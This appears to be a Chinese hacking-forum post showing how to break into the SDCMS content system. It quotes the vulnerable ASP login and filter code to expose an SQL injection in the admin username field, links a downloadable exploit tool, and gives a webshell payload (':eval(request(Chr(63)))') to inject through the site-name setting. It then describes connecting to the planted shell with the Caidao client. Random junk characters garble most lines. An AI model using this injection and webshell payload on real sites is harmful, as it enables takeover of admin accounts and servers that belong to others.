作者:T00LS 鬼哥4 m' q( L: ^8 @
漏洞文件:后台目录/index.asp
) G3 l2 B# f3 e6 }7 C3 l4 Z
! i! j8 T/ B9 G1 N: {( ?0 uSub Check3 N3 J! B0 X; R& D3 d! J2 E6 s; r$ c
Dim username,password,code,getcode,Rs
7 h _3 k+ }: c) C x IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub+ O7 {4 Z7 M8 n8 X" E& J& C' L
username=FilterText(Trim(Request.Form("username")),1); _. @, B7 Y. b; E1 G
password=FilterText(Trim(Request.Form("password")),1)$ ?# q- Z' S1 z3 c, T( P7 H
code=Trim(Request.Form("yzm")); X) W8 D- O# F" |1 r5 p
getcode=Session("SDCMSCode")% Q t# V8 o4 s: e
IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died* W, G( x+ ^+ ]. x) A
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied
9 |/ ]' W* k3 k/ T6 S IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied% b/ H; ]( j' d# H, K
IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied' i/ r$ t0 ]6 `- q1 Y0 U$ q. q5 d
IF username="" or password="" Then
$ H( q* G* t& Q. T0 b Echo "用户名或密码不能为空" ied
, d( z% P) h2 H6 w6 s Else7 }9 k/ o7 @: ~) j1 g1 k) ^# _
Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'"). l; f D5 ^# J& c
IF Rs.Eof Then
% |# d3 b1 P5 t8 `* k. i+ k! Q AddLog username,GetIp,"登录失败",1
, y0 T ^! |: z5 P% L Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"$ U: M; ]0 |; z7 B& K( B) k
Else2 |8 O8 L- n( I4 W, f: M: l
Add_Cookies "sdcms_id",Rs(0)
6 T U6 \0 y3 Y Add_Cookies "sdcms_name",username
^0 a9 A: D0 |* q Add_Cookies "sdcms_pwd",Rs(2)# ^; T& R8 x; }* D$ f
Add_Cookies "sdcms_admin",Rs(3)
' O3 |: r1 l1 |5 A! B' T Add_Cookies "sdcms_alllever",Rs(4)
; {) m! h1 M/ `: A6 G/ l Add_Cookies "sdcms_infolever",Rs(5)6 B+ U" J8 n' {2 Q
Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
1 ?2 ]2 f+ H# U* a/ B AddLog username,GetIp,"登录成功",13 @5 }3 f+ k ]/ Y7 N4 Q
'自动删除30天前的Log记录
1 [8 Q- Z4 U5 G0 r" V+ C- l* } IF Sdcms_DataType Then( y$ [+ _& }6 ^& F' G( F+ |) Z
Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
d1 N$ ?% n3 R" w Else
/ s& e/ ?7 y: L& A5 { Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
- v5 p. \/ w( L. |5 G End IF
3 i9 A, z) G8 {. b Go("sdcms_index.asp")7 k. h3 J+ t0 \7 i \( d7 O; M7 n
End IF- C, |, j! R4 G
Rs.Close3 U9 a6 D( o; g, E$ x3 c
Set Rs=Nothing/ F1 Z( W) f( L! j4 W" M i, u
End IF
# B5 [. v s% |4 E9 ]. \End Sub
6 p8 i; U* v% i ~: p8 F% F2 }1 R; l; `6 n; |) f, Q: x: {( h9 a1 K* a
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
6 m, S' i$ b; E9 H8 O0 V
' W+ z$ X; E! _& y. T& a, r. iFunction FilterText(ByVal t0,ByVal t1)
. R0 ~$ u% q: h IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
; [; s* _" [0 f2 _3 I t0=Trim(t0)+ x1 w/ p' @$ Q# r5 N3 i
Select Case t1/ U! p7 l% z8 @0 R; d' e
Case "1"
2 w. b, B1 H$ V6 k t0=Replace(t0,Chr(32),"")
4 O# x& r5 C% c- Y) ?9 H# o t0=Replace(t0,Chr(13),"")
% }9 A/ \- L5 `" J) d7 K t0=Replace(t0,Chr(10)&Chr(10),"")
! g; F6 W+ h, G* Q: S1 ^& v t0=Replace(t0,Chr(10),"")$ ]" Z+ G3 _4 ^* B5 J
Case "2"
# R# D: A9 \4 c% w5 g t0=Replace(t0,Chr(8),"")'回格
$ d: S1 K. r( L9 j* w- ` t0=Replace(t0,Chr(9),"")'tab(水平制表符)- C+ N' r U: m/ Z4 v
t0=Replace(t0,Chr(10),"")'换行' o) ?! y2 D+ ^
t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
% C+ E3 y. t: o# A3 I* d6 }% g$ o( c t0=Replace(t0,Chr(12),"")'换页
# U5 m: g4 D: Q4 q t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合) J' `6 x" I( J& N- k* p: e' u
t0=Replace(t0,Chr(22),"")8 V- h& P5 t4 ^- a: G0 T
t0=Replace(t0,Chr(32),"")'空格 SPACE1 V# r; P$ `: K Z* I
t0=Replace(t0,Chr(33),"")'!* L5 Z/ j6 W8 O2 F. t
t0=Replace(t0,Chr(34),"")'"- ?( D) l/ h% a% C# g: A% O
t0=Replace(t0,Chr(35),"")'#
+ Y# M2 K5 u7 L! k* _% @0 _- K& | t0=Replace(t0,Chr(36),"")'$
4 o% u; X& x3 G$ X: R' Z: Q( T t0=Replace(t0,Chr(37),"")'%
5 ]0 y6 b6 t% q t0=Replace(t0,Chr(38),"")'&
& y( S' a8 \" J6 [; Y0 Z t0=Replace(t0,Chr(39),"")''
' @- W' h5 v- D* \' x; { t0=Replace(t0,Chr(40),"")'(# q. m" C* c9 f: z6 N+ }8 }. w- J
t0=Replace(t0,Chr(41),"")')1 ^! F2 g: B* U5 `: H( O* O
t0=Replace(t0,Chr(42),"")'*3 D( l$ U7 K% |/ K* J& o* z! C: c
t0=Replace(t0,Chr(43),"")'+
3 a7 o/ f b: `6 k7 J t0=Replace(t0,Chr(44),"")',
$ P2 U4 j+ m9 g2 K t0=Replace(t0,Chr(45),"")'-
% {- \! s* g1 `, N5 [( T3 p$ e t0=Replace(t0,Chr(46),"")'.6 a7 [- X& s7 G1 J- K5 p3 k/ Y
t0=Replace(t0,Chr(47),"")'/
1 O: W/ D# h* P4 k6 T# [ t0=Replace(t0,Chr(58),"")':
; q& i1 K; E3 _9 l8 d t0=Replace(t0,Chr(59),"")';
& k, J z8 t8 Y. ]" Q t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
( f, Z7 E$ C; F$ U0 R7 n5 s t0=Replace(t0,Chr(63),"")'?
& N3 [/ ]8 a4 }5 z3 _ t0=Replace(t0,Chr(64),"")'@1 |8 @6 x. z: Y2 k( [2 O
t0=Replace(t0,Chr(91),"")'\
$ u5 s( a2 z% K0 k$ S5 w t0=Replace(t0,Chr(92),"")'\$ _/ e4 @ e2 L9 w: B% s& ]
t0=Replace(t0,Chr(93),"")']
9 C/ r: N: M* G7 t- V2 z t0=Replace(t0,Chr(94),"")'^
$ \ O* o6 E$ o \7 k t0=Replace(t0,Chr(95),"")'_
8 P9 k0 h0 u4 N7 F t0=Replace(t0,Chr(96),"")'`4 M+ O+ q+ ]' c4 W W5 I
t0=Replace(t0,Chr(123),"")'{' g$ H0 ]( _3 u2 @& z+ z+ M
t0=Replace(t0,Chr(124),"")'|% I$ g5 P; S3 H# q
t0=Replace(t0,Chr(125),"")'}+ t" y- h5 Z9 P2 _+ ?/ C8 Y7 u
t0=Replace(t0,Chr(126),"")'~' e) `! ~6 z3 l7 S2 @5 [* V
Case Else3 O4 g8 J+ { r
t0=Replace(t0, "&", "&")
: b4 V# [! {' W5 S, R t0=Replace(t0, "'", "'") }% H0 o' O% y6 [
t0=Replace(t0, """", """)
6 c" ?# f% W0 l3 } t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")( S* e+ k G) m9 @) B+ M
End Select
# [7 M3 x9 s5 t: P" z: ] IF Instr(Lcase(t0),"expression")>0 Then
, V# I( }+ M, E" O" K7 i+ ~9 @ t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
7 r; ^( Q* |( O P5 p+ J End If
1 S0 z- u4 f( d) b' | FilterText=t0
, g1 M- e2 Q' v- AEnd Function, R* O: E8 Z0 S4 d% \
4 l0 N( z8 V+ `+ U看到没。直接参数是1 只过滤
* p; @6 S7 e ] t0=Replace(t0,Chr(32)," ")5 V" U6 d. B G% e$ p. L
t0=Replace(t0,Chr(13),"")2 Q$ T/ K! e$ M8 z
t0=Replace(t0,Chr(10)&Chr(10),"
2 W6 M" y) `! A" r1 d) k")
1 J, l& c- e/ e A t0=Replace(t0,Chr(10),"4 x. G6 K2 }) D3 D& w2 Z# o+ x9 v
"). X) ] N& S9 O" o9 g
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
6 m5 W/ e, s9 G% W+ d% F! f) fEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP! v( n8 a# N' ^2 J5 {
; g& t3 G# q7 ~5 w
测试:
- h) [5 l z5 x( D7 H* |" O
6 |& t$ V) }/ H) B- h6 {" D+ v
现在输入工具上验证码,然后点OK* T; u" M5 l, u7 \: R1 ~3 @! K& E
! @' r1 P! ]) D' r, {0 C/ g' @* _& i/ s! C
看到我们直接进入后台管理界面了,呵呵!, m2 X5 V0 \" W' D3 i
" d9 D# b; d M- D5 g7 K
- U$ z& K) X. O" w* a9 Z
3 q2 i, |/ z; R, K这样直接进入后台了。。。。/ H/ ^3 ~. J3 ]( u7 B
6 J8 ]6 h/ Q. Y2 E z* F2 k ' u8 ~% p+ b+ p) ]6 b- a2 C1 p# G
9 v* y: T2 g+ |7 W/ j3 i2 _
SDCMS提权:
: P3 t0 }/ G+ Y% B
1 ]" }6 C( h3 s$ U0 X4 O5 Q方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
0 C# E0 `9 |+ N! R2 B; `" F0 W9 b- I9 A- l( p A4 A+ q2 e
7 Z5 r8 @' g* c
; n/ r/ ?9 M: Q# j% f1 N% KOK,现在用菜刀连接下!9 |+ T" B0 Y1 F7 D2 p
7 {( b0 _8 v+ g. n; I5 V/ b# _8 N
- J* X0 J2 h. @' Z, H; u( \- R' Z) ]: r- e1 B& ~+ n
8 l- q% i1 s# ~5 I; a
1 W7 x: O" Y, e' x: L
|